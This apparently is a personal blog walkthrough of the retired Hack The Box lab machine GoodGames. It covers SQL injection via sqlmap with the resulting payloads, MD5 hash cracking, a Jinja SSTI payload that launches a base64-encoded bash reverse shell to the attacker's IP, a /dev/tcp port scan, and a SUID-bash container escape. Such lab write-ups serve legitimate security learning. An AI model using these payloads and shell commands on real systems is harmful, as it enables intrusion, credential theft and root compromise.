Hack The Box – GoodGames

Hack The Box GoodGames

GoodGames is a retired, easy vulnerable virtual machine created by Hack The Box, it is our challenge to hack into it. Hello world, welcome to Haxez, I’m back trying to hack another box to learn new things.

GoodGames Enumeration

I like to do is to check that the box is online by sending it a ping request. This may not always work as the host or some other device on the network could block ICMP traffic. However, most of the easy machines have responded to pings and this box is no exception.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ ping 10.129.242.108
PING 10.129.242.108 (10.129.242.108) 56(84) bytes of data.
64 bytes from 10.129.242.108: icmp_seq=1 ttl=63 time=13.6 ms
64 bytes from 10.129.242.108: icmp_seq=2 ttl=63 time=12.2 ms
--- 10.129.242.108 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1029ms
rtt min/avg/max/mdev = 12.187/12.912/13.637/0.725 ms

The box is awake and talking to us so it is time to see what services are available. I ran the Nmap command with the scripts flag, the enumerate versions flag and the aggressive flag. As you can see from the output below, the only service that appears open is HTTP on 80. It is running apache with Python 3.9.2 and we can see that domain is goodgames.htb.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ sudo nmap -sC -sV -p- -A 10.129.242.108 -oA GoodGames
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-20 03:25 EDT
Nmap scan report for 10.129.242.108
Host is up (0.015s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and Store
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=3/20%OT=80%CT=1%CU=32198%PV=Y%DS=2%DC=T%G=Y%TM=64180A8
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%TS=A)OPS(O1=M550ST11NW7%O2=M550ST11NW7%O
OS:3=M550NNT11NW7%O4=M550ST11NW7%O5=M550ST11NW7%O6=M550ST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M550NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)
Network Distance: 2 hops
Service Info: Host: goodgames.htb
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 11.44 ms 10.10.14.1
2 11.60 ms 10.129.242.108
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.94 seconds

I’ve added the domain to my host file but it doesn’t seem to have made much of a difference. Visiting the IP address directly or via the domain name appears to resolve the same website. It appears to be a video game journalist website. I suspect it is using some common content management system but I will need to dig deeper to find out.

Goodgame web application

Enumerating The Web Application

There are a number of different tools I like to run when testing web applications. The first is ‘whatweb’ as it can tell you more about the site and the technologies being used. Additionally, I also like to run Nikto but it seems that there is some funky coding. Unfortunately, Nikto thinks every file it looks for exists on the server so I’m going to ignore it for now.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ whatweb http://goodgames.htb
http://goodgames.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Frame, HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.9.2], IP[10.129.242.108], JQuery, Meta-Author[_nK], PasswordField[password], Python[3.9.2], Script, Title[GoodGames | Community and Store], Werkzeug[2.0.2], X-UA-Compatible[IE=edge]

There are various directory and file brute-forcing tools available like Gobuster and Dirb. I tend to use Dirb more than Gobuster for quick analysis. However, as you can see from the output below there isn’t a lot to go on.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ dirb http://goodgames.htb
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Mar 20 03:51:15 2023
URL_BASE: http://goodgames.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://goodgames.htb/ ----
+ http://goodgames.htb/blog (CODE:200|SIZE:44212)
+ http://goodgames.htb/forgot-password (CODE:200|SIZE:32744)
+ http://goodgames.htb/login (CODE:200|SIZE:9294)
+ http://goodgames.htb/logout (CODE:302|SIZE:208)
+ http://goodgames.htb/profile (CODE:200|SIZE:9267)
+ http://goodgames.htb/server-status (CODE:403|SIZE:278)
+ http://goodgames.htb/signup (CODE:200|SIZE:33387)
-----------------
END_TIME: Mon Mar 20 03:52:35 2023
DOWNLOADED: 4612 - FOUND: 7

GoodGames SQL Injection

There is a login portal accessible by clicking the avatar icon at the top of the page. I populated the username and password fields and submitted the request. I tried [email protected] but the main reason for this was to capture the request in burp.

Login Form

It’s also worth noting that upon submission of the credentials, I got a 500 error. This suggests something in the code is broken. However, I didn’t include any special characters other than the ‘@’ symbol in my login request.

Burp

I saved the POST request to a text file and fed it to SQLMap to see if would find anything. Sure enough, it appears we have a blind time-based and boolean-based SQL injection. I love SQLMap because finding blind SQL can be difficult (for me anyway). Furthermore, blind SQL injections can take forever for the data. As you can see below we have a database called main with 3 tables.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ sudo sqlmap -r login.txt -D main --tables
___
__H__
___ ___[']_____ ___ ___ {1.7.2#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: [email protected]' AND (SELECT 2122 FROM (SELECT(SLEEP(5)))NPSu) AND 'LuBm'='LuBm&password=admin
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: [email protected]' AND 1646=(SELECT (CASE WHEN (1646=1646) THEN 1646 ELSE (SELECT 8949 UNION SELECT 5637) END))-- -&password=admin
---
[04:11:13] [INFO] retrieved: blog
[04:11:14] [INFO] retrieved: blog_comments
[04:11:17] [INFO] retrieved: user
Database: main
[3 tables]
+---------------+
| user |
| blog |
| blog_comments |
+---------------+
[04:11:18] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/goodgames.htb'
[*] ending @ 04:11:18 /2023-03-20/

The information we want is probably hiding inside the user’s table so I dumped that next. As you can see from the output below I messed up my command. I only wanted to dump the user’s table but ended up dumping everything. Nevermind, we got the admin user’s hash so now we just need to crack it.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ sudo sqlmap -r login.txt -D main T user --dump
___
__H__
___ ___[,]_____ ___ ___ {1.7.2#stable}
|_ -| . [,] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: [email protected]' AND (SELECT 2122 FROM (SELECT(SLEEP(5)))NPSu) AND 'LuBm'='LuBm&password=admin
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: [email protected]' AND 1646=(SELECT (CASE WHEN (1646=1646) THEN 1646 ELSE (SELECT 8949 UNION SELECT 5637) END))-- -&password=admin
---
Database: main
Table: blog_comments
[2 entries]
+----+---------+--------+----------------------------------------------+
| id | blog_id | user | comment | created_at | is_accepted |
+----+---------+--------+----------------------------------------------+
| 1 | 1 | admin | --snipp-- | NULL | 1 |
| 2 | 1 | admin | --snipp-- | NULL | 0 |
+----+---------+--------+----------------------------------------------+
[04:17:25] [WARNING] no clear password(s) found
Database: main
Table: user
[1 entry]
+----+-------+---------------------+----------------------------------+
| id | name | email | password |
+----+-------+---------------------+----------------------------------+
| 1 | admin | [email protected] | 2b22337f218b2d82dfc3b6f77e7cb8ec |
+----+-------+---------------------+----------------------------------+
[04:17:25] [INFO] table 'main.`user`' dumped to CSV file '/root/.local/share/sqlmap/output/goodgames.htb/dump/main/user.csv'
[04:17:25] [INFO] fetching columns for table 'blog' in database 'main'

Cracking The Admin Hash

Cracking the administrator’s hash was fairly painless. You could throw the hash into a site like crackstation.net but you may not always have internet. It’s always good to have multiple tools for the same job. It’s also good to know how to manually use those tools in case the automated ones don’t work. I fed the hash to our old pal John The Ripper and he hacked it up for me in no time at all. As you can see, the password was ‘superadministrator’.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ sudo john --format=raw-md5 admin.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
superadministrator (?)
1g 0:00:00:00 DONE (2023-03-20 04:20) 6.666g/s 23175Kp/s 23175Kc/s 23175KC/s superarely1993..super5dooper
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Cracking is a lot of fun so I decided to crack it again with Hashcat just for the sake of it. After all, we need to verify that John gave us the correct password. Sure we could try to log in but what if there is some brute force protection and our account gets locked out? Ok, here is the hashcat output.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ sudo hashcat -m 0 admin.hash /usr/share/wordlists/rockyou.txt
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

2b22337f218b2d82dfc3b6f77e7cb8ec:superadministrator

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 2b22337f218b2d82dfc3b6f77e7cb8ec
Time.Started.....: Mon Mar 20 04:31:53 2023 (1 sec)
Time.Estimated...: Mon Mar 20 04:31:54 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 5502.4 kH/s (0.04ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3476480/14344385 (24.24%)
Rejected.........: 0/3476480 (0.00%)
Restore.Point....: 3475456/14344385 (24.23%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: supercecy01 -> super713!
Hardware.Mon.#1..: Util: 26%
Started: Mon Mar 20 04:31:41 2023
Stopped: Mon Mar 20 04:31:54 2023

Return To Enumeration

With every step forward in a hack or penetration test, we should cycle back to the enumeration phase. The higher level of access with grant us a high level of information. The further you climb up the mountain, the more of the surrounding area you will see. It will give us a better understanding of how everything works. Clicking on the cog in the top right-hand corner of the website gives us an error but we have found a new subdomain.

GoodGame error

Adding that to our host file allows us to visit the newly discovered subdomain and we are presented with a Flask application. We can try the credentials that we found earlier and see if the administrator is reusing credentials.

Web Application

Ha! I honestly didn’t expect that to work. Using the username ‘admin’ and the password ‘superadministrator’, I was able to log in to the Flask application. Also, for those new to hacking and penetration testing, password reuse and simple passwords are a LOT more common than you think. If you ever do a build review or a password audit, you will see what I mean.

Goodgame application

GoodGames Server Side Template Injection

Server Side Template Injection or SSTI is my favourite vulnerability at the moment. It’s all I seem to find on these boxes but I admit it has given me a good understanding. I now know where I’m likely to find it, how to find it and what to do with it. Interestingly, the server crashes when trying to calculate big numbers. I wanted to make my username 1337. Alas, I will have to settle for Bob. Personally, I believe that ‘{{ 2 * 404 }}’ is the most elite of all the SSTI payloads.

Server Side Template Injection

It’s time to make a payload that will get us a reverse shell. As you can see, I’m creating a simple bash reverse shell and base64 encoding it. Don’t forget to start your netcat listener.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ echo -ne 'bash -i >& /dev/tcp/10.10.14.126/1337 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjYvMTMzNyAwPiYx

Then we construct our payload to submit to the username field

{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMjYvMTMzNyAwPiYx=${IFS}|base64${IFS}-d|bash')}}.read()}}

That logs us onto the system as root, surely this was too easy? we can capture the flag from the Augustus users home directory but there is no root flag. I think it’s time we go back to the enumeration phase and find out what’s going on here.

┌──(kali㉿kali)-[~/HTB/GoodGames]
└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.126] from (UNKNOWN) [10.129.242.108] 33846
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# whoami
whoami
root
root@3a453ab39d3d:/backend# ls /home    
ls /home
augustus
root@3a453ab39d3d:/backend# cat /home/augustus/user.txt
cat /home/augustus/user.txt
0f0▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓767

GoodGames Docker Container Escape

I will be the first to admit that my Linux and Windows host enumeration skills need improving. I used the official walkthrough for the next part as I wasn’t sure what to do. I’ve used the ‘id’ and ‘groups’ commands before to identify that I was inside a docker container. However, I think the most obvious sign is that the IP address of the host we’re in, doesn’t match the host we attacked. The IP of the containers is ‘172.19.0.2’ but the IP of the target is ‘10.129.242.108’.

What is also interesting is that we’re the second host in this subnet. It is highly likely that ‘172.19.0.1’ is the Docker host. If we could scan that host then we could find out what services are listening and try to get access to it somehow.

root@3a453ab39d3d:/backend# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.19.0.2 netmask 255.255.0.0 broadcast 172.19.255.255
ether 02:42:ac:13:00:02 txqueuelen 0 (Ethernet)
RX packets 2534 bytes 469527 (458.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2125 bytes 1862054 (1.7 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

We can perform a portscan on the localhost IP address to see what other ports are open. Again, this is stolen directly from the wiki but something I intend to steal and add to my notes for future use. This could come in handy when pivoting from one Linux device to another. If you change the IP address to another host in the network then you can see what other services there are to try and exploit. Anyway, as shown below, port 22 is open which wasn’t open when we ran Nmap against the target IP.

root@3a453ab39d3d:/backend# for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
<ull" 2>/dev/null && echo "port $PORT is open"; done
port 22 is open
port 80 is open

We can now SSH to the host with the august user and the password that we’ve repeatedly used.

ssh [email protected]
The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established.
ECDSA key fingerprint is SHA256:AvB4qtTxSVcB0PuHwoPV42/LAJ9TlyPVbd7G6Igzmj0.
Are you sure you want to continue connecting (yes/no)? yes
yes
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
[email protected]'s password: superadministrator
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

GoodGames Privilege Escalation

Let’s just go through what we know about the system. We got our foothold through the web application which dropped us inside a container as root. We can SSH from the container to the host but only as the Augustus user. What if, while inside the container we create a file as root and set the SUID bit and then execute it as Augustus once we SSH to the host? let’s find out, makes sense to me. First, as Augustus on the container host, copy the bash binary to your home directory. Then, exit the host back to the container and change the permissions of the binary while you’re the root user.

***Container Host as augustus VIA SSH***

augustus@GoodGames:~$ cp /bin/bash .
cp /bin/bash .
augustus@GoodGames:~$ exit

***Inside Container as root***

# cd /home/augustus
# ls
bash user.txt
# chown root:root bash
# chmod 4755 bash
# ls -laSh
ls -laSh
total 1.3M
-rwsr-xr-x 1 root root 1.2M Mar 20 09:29 bash
drwxr-xr-x 2 1000 1000 4.0K Mar 20 09:29 .
drwxr-xr-x 1 root root 4.0K Nov 5 2021 ..
-rw-r--r-- 1 1000 1000 3.5K Oct 19 2021 .bashrc
-rw-r--r-- 1 1000 1000 807 Oct 19 2021 .profile
-rw-r--r-- 1 1000 1000 220 Oct 19 2021 .bash_logout
-rw-r----- 1 1000 1000 33 Mar 20 07:24 user.txt
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null

Now, we need to SSH back to the container host and execute the bash file. We can now capture the final flag and complete the box.

augustus@GoodGames:~$ ./bash -p
./bash -p
bash-5.1# whoami
whoami
root
bash-5.1# cat /root/root.txt
cat /root/root.txt
b57▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓d88

GoodGames Review

This was a fun Linux box. I enjoyed the SQL injection and the SSTI to get the foothold. I definitely wouldn’t have worked out the privilege escalation but it does make a lot of sense. I feel like I should have run LinPEAS on the container host to see if it would have recognised it was on a container and suggested escapes. With that said, there is a dockerfile on the host as soon as you get the foothold so this would have been an obvious signpost.

Note: I ran LinPeas and it identified I was in a container.

══╣ Container ╠══                                                                                                                                                                
╔══════════╣ Container related tools present
╔══════════╣ Am I Containered?
╔══════════╣ Container details
═╣ Is this a container? ........... docker
═╣ Any running containers? ........ No
╔══════════╣ Docker Container details
═╣ Am I inside Docker group ....... No
═╣ Looking and enumerating Docker Sockets
═╣ Docker version ................. Not Found
═╣ Vulnerable to CVE-2019-5736 .... Not Found
═╣ Vulnerable to CVE-2019-13139 ... Not Found
═╣ Rootless Docker? ................ No